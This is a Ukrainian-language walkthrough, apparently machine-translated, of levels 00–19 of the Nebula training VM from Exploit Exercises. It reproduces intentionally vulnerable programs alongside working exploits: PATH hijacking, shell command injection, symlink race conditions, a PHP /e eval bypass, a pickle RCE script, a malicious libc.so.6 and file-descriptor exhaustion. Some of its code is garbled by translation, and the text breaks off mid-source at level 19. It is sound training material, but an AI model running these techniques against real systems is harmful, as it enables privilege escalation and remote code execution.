Exploit Exercises або ще один сайт для любителів VulnHub



Всім доброго часу доби, спасибі, що читаєте мої райтапы.
Сьогодні мова піде ще про одному сайті, який схожий на VulnHub. Це Exploit Exercises. Незважаючи на невелику кількість виртуалок, і їх відносно давню публікацію, почерпнути щось нове можна і там. Тим більше це компенсується різноманітністю і кількістю рівнів.
Почати пропонується з віртуальної машини під назвою Nebula. Її ми сьогодні і розглянемо.
Є 20 рівнів, за наступними тематиками:
  • SUID files
  • Permissions
  • Race conditions
  • Shell meta-variables
  • $PATH weaknesses
  • Scripting language weaknesses
  • Binary compilation failures
Для кожного рівня створено окремий користувач levelXX " користувач flagXX привілеї якого потрібно одержати, для того щоб виконати від його імені команду getflag. Почнемо!

Level00
Нас просять використовуючи find знайти і запустити SUID програму користувача flag00. Шукаємо:
level00@nebula:~$ find / -user flag00 2>/dev/null
/bin/.../flag00

Запускаємо:
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account


Level01
Дан ісходник уразливого програми, потрібно виконати getflag:
level1.c
#include <stdlib.h>
#include <unistd.h>
#include < string.h>
#include < sys/types.h>
#include < stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");
}


Ось, що буває коли довіряєш env :)
level01@nebula:~$ cd /tmp/
level01@nebula:/tmp$ ln -s /bin/getflag echo
level01@nebula:/tmp$ PATH=/tmp:$PATH
level01@nebula:/tmp$ env echo
getflag is executing on a non-flag account, this doesn't count
level01@nebula:/tmp$ /home/flag01/flag01 
You have successfully executed getflag on a target account


Level02
Ще один приклад вразливою програми, яка довіряє змінних оточення:
level2.c
#include <stdlib.h>
#include <unistd.h>
#include < string.h>
#include < sys/types.h>
#include < stdio.h>

int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s")\n", buffer);

system(buffer);
}


Просто міняємо $USER:
level02@nebula:~$ USER="12|getflag"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo 12|getflag is cool")
You have successfully executed getflag on a target account


Level03
Тут сорцев немає, але є crontab, і небезпечні права для директорії:
writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done


level03@nebula:/home/flag03$ ls -ahl
drwxrwxrwx 1 flag03 flag03 60 2017-01-12 00:30 writable.d/
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh*
level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh

Через деякий час:
level03@nebula:/home/flag03$ cat /tmp/flag 
You have successfully executed getflag on a target account

crontab -u flag03 -l
*/3 * * * * /home/flag03/writable.sh



Level04
А тут нас просять, використовуючи цю програму, прочитати вміст файлу token:
level4.c
#include <stdlib.h>
#include <unistd.h>
#include < string.h>
#include < sys/types.h>
#include < stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;

if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}

if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}

fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}

rc = read(fd, buf, sizeof(buf));

if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}

write(1, buf, rc);
}


level04@nebula:~$ ll /home/flag04
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04*
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token

Раз файл не повинен містити «token», він не буде містити «token»:
level04@nebula:~$ /home/flag04/flag04
/home/flag04/flag04 [file to read]
level04@nebula:~$ /home/flag04/flag04 token
You may not access 'token'
level04@nebula:~$ ln -s /home/flag04/token /tmp/flag04lnk
level04@nebula:~$ /home/flag04/flag04 /tmp/flag04lnk 
06508b5e-8909-4f38-b630-fdb148a848a2


Level05
На цьому рівні нас чекають не вірно виставлені права для директорії:
level05@nebula:~$ ll /home/flag05/
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup/
-rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh/

Резервні копії це добре, подивимося що там:
level05@nebula:~$ ll /home/flag05/.backup/
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

Чудово, приватний ssh-ключ. Підключаємося і виконуємо getflag:
level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1
flag05@nebula:~$ getflag 
You have successfully executed getflag on a target account


Level06
В описі говориться про облікові дані з минулих версій Unix.
level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

Згодовуємо хеш John'у, який визначає його як слово hello. Авторізуємось і забираємо «прапор»:
level06@nebula:~$ ssh flag06@127.0.0.1
flag06@nebula:~$ getflag 
You have successfully executed getflag on a target account


Level07
Користувач flag07 написав своє перше додаток на Perl:
index.cgi
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
$host = $_[0];

print("<html><head><title>Ping results</title></head><body><pre>");

@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }

print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));


Тут у нас відсутність фільтрації параметрів у змінній $host. Перевіримо порт, на якому вона висить:
level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port
port=7007

І успішно проэксплуатируем:


Level08
Нас просять переглянути дамп трафіку та авторизуватися. Завантажуємо його собі:
level08@nebula:~$ ls -lh /home/flag08
-rw-r--r-- 1 root root 8302 2011-11-20 21:22 capture.pcap
$ scp level08@10.0.31.116:/home/flag08/capture.pcap ./

Подивимося що там:


Дивно що в паролі присутні недруковані символи, після вилучення HEX дампа цього пароля і деякого перетворення, отримуємо такий результат:
62 => "b"; 61 => "a"; 63 => "с"; 6b => "k"; 64 => "d"; 6f => "o"; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "е"; 0d => "."

Гугл швидко підказав, що xterm використовує байт 0x7f Backspace. Таким чином пароль: backd00Rmate
Коннектимся і запускаємо getflag:
$ ssh 10.0.31.116 -l flag08
flag08@nebula:~$ getflag 
You have successfully executed getflag on a target account 


Level09
Нам доступна SUID обгортка на для вразливого PHP скрипта:
level9.php
<?php

function spam($email)
{
$email = preg_replace("/\./", " dot ", $e);
$email = preg_replace("/@/", " AT ", $e);

return $email;
}

function markup($filename, $use_me)
{
$contents = file_get_contents($filename);

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);

return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>


Рядок $contents = preg_replace("/(\[email (.*)\])/e", «spam(\»\\2\")", $contents); досить цікава:
  1. Якщо вміст збігається з регулярним виразом: "/(\[email (.*)\])/";
  2. Воно замінюється на функцію spam, яка в якості аргументу приймає значення в круглих дужках. А потім виконується
Ми можемо відправити будь-яку команду:
level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval
level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag
You have successfully executed getflag on a target account


Level10
Програма яка покладаючись на access() відправляє по мережі будь-який файл:
basic.c
#include <stdlib.h>
#include <unistd.h>
#include < sys/types.h>
#include < stdio.h>
#include <fcntl.h>
#include <errno.h>
#include < sys/socket.h>
#include <netinet/in.h>
#include < string.h>

int main(int argc, char **argv)
{
char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}


Ідея проста, так як спочатку перевіряється доступ до запитуваного файлу, а вже потім він відправляється, використовуючи посилання, потрібно зловити момент, коли:
  1. Посилання буде вказувати на файл, доступ до якого є;
  2. access) перевірить цей файл;
  3. Посилання зміниться на файл, доступ до якого у нас немає;
  4. Програма успішно нам його відправить
Реалізуємо це. Циклом міняємо посилання:
level10@nebula:/tmp$ echo "token" > /tmp/token
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token flag10; ln -sf /tmp/token flag10; done

В іншому вікні запускаємо цикл, який буде відправляти файл за посиланням:
level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done

У себе запускаємо nc для прослуховування порту і виведення отриманих даних:
while true; do nc -l -p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO Oo."; done

І практично відразу отримуємо токен:
token = 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Використовуючи його як пароль, логинимся під користувачем flag10:
level10@nebula:/tmp$ ssh flag10@localhost
flag10@nebula:~$ getflag 
You have successfully executed getflag on a target account


Level11
Є програма, яка читає STDIN і виконує його:
level11.c
#include <stdlib.h>
#include <unistd.h>
#include < string.h>
#include < sys/types.h>
#include <fcntl.h>
#include < stdio.h>
#include < sys/mman.h>

/*
* Return a random, non predictable file, and return the file descriptor for it.
*/

int getrand(char **path)
{
char *tmp;
int pid;
int fd;

srandom(time(NULL));

tmp = getenv("TEMP");
pid = getpid();

asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));

fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}

void process(char *buffer, int length)
{
unsigned int key;
int i;

key = length & 0xff;

for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}

system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;

if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}

if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}

length = atoi(line + strlen(CL));

if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;

fd = getrand(&path);

while(blue > 0) {
printf("blue = %d, length = %d", ", blue, length);

pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);

if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);

blue -= pink;
} 

mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}

}


Але не все так просто. Автори пишуть що є, 2 рішення, але як виявилося пізніше обидва не працюють. Але про все по порядку:
Спочатку нас просять вказати кількість відправлених байт, а потім в залежності від цієї кількості, рядок або відразу передається у функцію process, або попередньо дані копіюються в пам'ять.
Функція process, XOR'іт їх і потім віддає в system. Отже, нам потрібно відправити рядок, яка вже буде оброблена XOR'ом:
flag11.py
#!/usr/bin/python
cmd = "/bin/getflag\x00"
length = 1024
key = length & 0xff
enc = "

for i in range(len(cmd)):
char_byte = ord(cmd[i]) ^ key
enc += chr(char_byte & 0xff)
key = (key - ord(cmd[i])) & 0xff

if length != len(cmd):
junk = "A" * (length - len(cmd))
print( "Content-Length: %d\n%s%s" %(length, enc, junk) )
else:
print( "Content-Length: %d\n%s" %(length, enc) )


Запускаємо і нічого:
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

документації до функції system, знаходимо це:
Не використовуйте system() в програмах з привілеями suid або sgid, тому що деякі значення змінних оточення можуть викликати збої в системі. Замість неї рекомендується використання сімейства функцій exec(3), але не execlp(3) або execvp(3). system() неправильно функціонує в програмах з привілеями suid або sgid тих систем, де /bin/sh замінено на bash версії 2, так як bash 2 обнуляє права при запуску. Debian використовує змінений bash, який не виробляє при запуску цього дії так, як це робить sh.
Bash всіх підвів:
level11@nebula:/home/flag11$ ll /bin/sh
lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh -> /bin/bash*

P. S. Перевіривши це на окремо скомпільованому бінарники, отримуємо теж саме. Гугл результатів не дав, мабуть автори оновили bash, а оновити завдання забули...

Level12
Як сказано в описі: бекдор на 50001 порту. Хм, подивимося:
level12.lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

hash function(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()

data = string.sub(data, 1, 40)

return data
end

while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)

if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end

end

client:close()
end


І так, знову відсутність фільтрації введених даних. Додамо коментар:
level12@nebula:~$ nc 127.0.0.1 50001
Password: 4754a4f4bd5787accd33de887b9250a0691dd198 #
Congrats, your token is 413**CARRIER LOST**

Ок, це спрацювало, спробуємо щось інше: 123; getflag > /tmp/flag12 #
level12@nebula:~$ nc 127.0.0.1 50001
Password: 123 ; getflag > /tmp/flag12 #
Better luck next time
level12@nebula:~$ cat /tmp/flag12
You have successfully executed getflag on a target account
level12@nebula:~$ 


Level13
Дан исходник, а найголовніше вирізали, не добре:
level13_safe.c
#include <stdlib.h>
#include <unistd.h>
#include < stdio.h>
#include < sys/types.h>
#include < string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
int c;
char token[256];

if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}

// snip, sorry :)

printf("your token is %s\n", token);

}


Витягаємо рядки:
level13@nebula:~$ strings /home/flag13/flag13
8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob
your token is %s

Дизассемблировав додаток в gdb, знаходимо цікаву рядок:
0x080485a2 <+222>: xor $0x5a,%edx

У нас є рядок: 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob, у нас є ключ: 0x5a, у нас є операція: xor. Відправляємо це в Python:
>>> ".join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob'])
>>> 'b705702b-76a8-42b0-8844-3adabbe5ac58'

І успішно проходимо авторизацію:
level13@nebula:~$ su flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
sh-4.2$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
sh-4.2$ getflag 
You have successfully executed getflag on a target account


Level14
Дана програма, яка шифрує все що йде на STDIN і відправляє в STDOUT, і є маркер, який нас просять розшифрувати:
level14@nebula:~$ cat /home/flag14/token 
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.

Подивимося на алгоритм в IDA:


Ну все просто, 1 рядок Python:
>>> ".join([chr(ord(a[i])-i) for i in range(len(a))])
>>> '8457c118-887c-4e40-a5a6-33a25353165\x0b'

Токен у нас, залишився останній крок:
level14@nebula:~$ su - flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
flag14@nebula:~$ getflag 
You have successfully executed getflag on a target account


Level15
Нас просять подивитися висновок команди strace, на наявність аномалій:
level15@nebula:~$ strace /home/flag15/flag15

straceexecve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 18 vars */]) = 0
brk(0) = 0x8d3a000
access("./etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2 NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773b000
access("./etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("./etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2 NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close(3) = 0
access("./etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2 NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3) = 0
mmap2 NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xae4000, 4096, PROT_READ) = 0
munmap(0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2 NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write(1, «strace it!\n», 11strace it!
) = 11
exit_group(11)

Дивно що програма намагається довантажити либы /var/tmp/flag15/. Спробуємо підсунути йому свою libc.so.6:
#include < stdio.h>
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$
{
execv("/bin/getflag", NULL);
return 0;
}

Компилим і запускаємо:
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c 
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
You have successfully executed getflag on a target account


Level16
Чергове Perl CGI додаток, яке висить на 1616 порту:
index.pl
#!/usr/bin/perl env

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
$username = $_[0];
$password = $_[1];

$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);


if($pw =~ $password) {
return 1;
}
}

return 0;
}

sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
} 
print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));


Вміст $username спочатку переводиться у верхній регістр, а потім відправляється на виконання через оператор `.
Спроба вставити команду, яка закрила б egrep, не увінчалася успіхом. Але ми можемо спробувати обійти верхній регістр з допомогою методу цієї статті:
level16@nebula:/tmp$ cat FLAG 
#!/bin/bash
getflag > /tmp/flag16log

Переходимо у браузері за посиланням:
10.0.31.116:1616/index.cgi?username=`/*/FLAG`
І виводимо наш прапор:
level16@nebula:/tmp$ cat flag16log 
You have successfully executed getflag on a target account


Level17
Як сказано в описі: Цей скрипт слухає порт 10007 і має вразливість. Дуже багатослівно.
level17.py
#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(сигнал.SIGCHLD, signal.SIG_IGN)

def server(skt):
line = skt.recv(1024)

obj = pickle.loads(line)

for i in obj:
clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
clnt, addr = skt.accept()

if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)


Але уразливість є, вона в рядку: obj = pickle.loads(line). Ось тут можна детальніше дізнатися про її експлуатації. Напишемо скрипт для виконання команд:
#!/usr/bin/python
import socket
import pickle

host = '10.0.31.116'
port = 10007
cmd = "'cos
system
(S getflag > /tmp/flag17'
tR"'

s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
s.send(cmd)
s.close()

Після запуску отримуємо RCE:
$ ./flag17.py 
Accepted connection from 10.0.31.183:50700

level17@nebula:~$ cat /tmp/flag17
You have successfully executed getflag on a target account


Level18
Нас просять проаналізувати исходник і знайти уразливості. Зробимо це:
level18.c
#include <stdlib.h>
#include <unistd.h>
#include < string.h>
#include < stdio.h>
#include < sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
FILE *fp;

fp = fopen(PWFILE, "r");
if(fp) {
char file[64];

if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return; 
}
dprintf("logged in successfully (with%s password file\n",
fp == NULL ? "out" : "");

globals.loggedin = 1;

}

void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}

void setuser(char *user)
{
char msg[128];

sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
char c;

while((c = getopt(argc, argv, "d:v")) != -1) {
switch© {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}

dprintf("Starting up. Verbose level = %d\n", globals.verbose);

setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());

while(1) {
char line[256];
char *p, *q;

q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;

dvprintf(2, "got [%s] as input\n", line);

if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}

return 0;
}


  1. void notsupported(char *what) -> dprintf(what); # А ось і вразливість форматного рядка
  2. void login(char *pw) -> fp = fopen(PWFILE, «r»); # Файл відкривається, але його ніхто не закриває
Зупинимось на функції login, тим більше саме вона відповідає за авторизацію. Спробуємо створити дуже багато файлових дескрипторів. В результаті, fopen повинна повернути NULL, а потім судячи з кодом, виставити прапор авторизації. Нам потрібно буде лише запустити shell:
python -c 'print("login me\n"*2000 +"closelog\nshell")' | ./flag18 --init-file -d /dev/tty

Отримуємо купу повідомлень про авторизацію, і власне шелл:
logged in successfully (without password file)
ls
flag18 password
cat password
44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed getflag on a target account


Level19
В описі до рівня йдеться про те, що в програмі є помилка, і шукати її треба в рантайме:
level19.c
#include <stdlib.h>
#include <unistd.h>
#include < string.h>
#include < sys/types.h>
#include < stdio.h>
#include <fcntl.h>
#include < sys/stat.h>

int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;

/* Get the parent's /proc entry, so we can verify its user id */

snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

/* stat() it */

if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}

/* check the owner id */

if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */

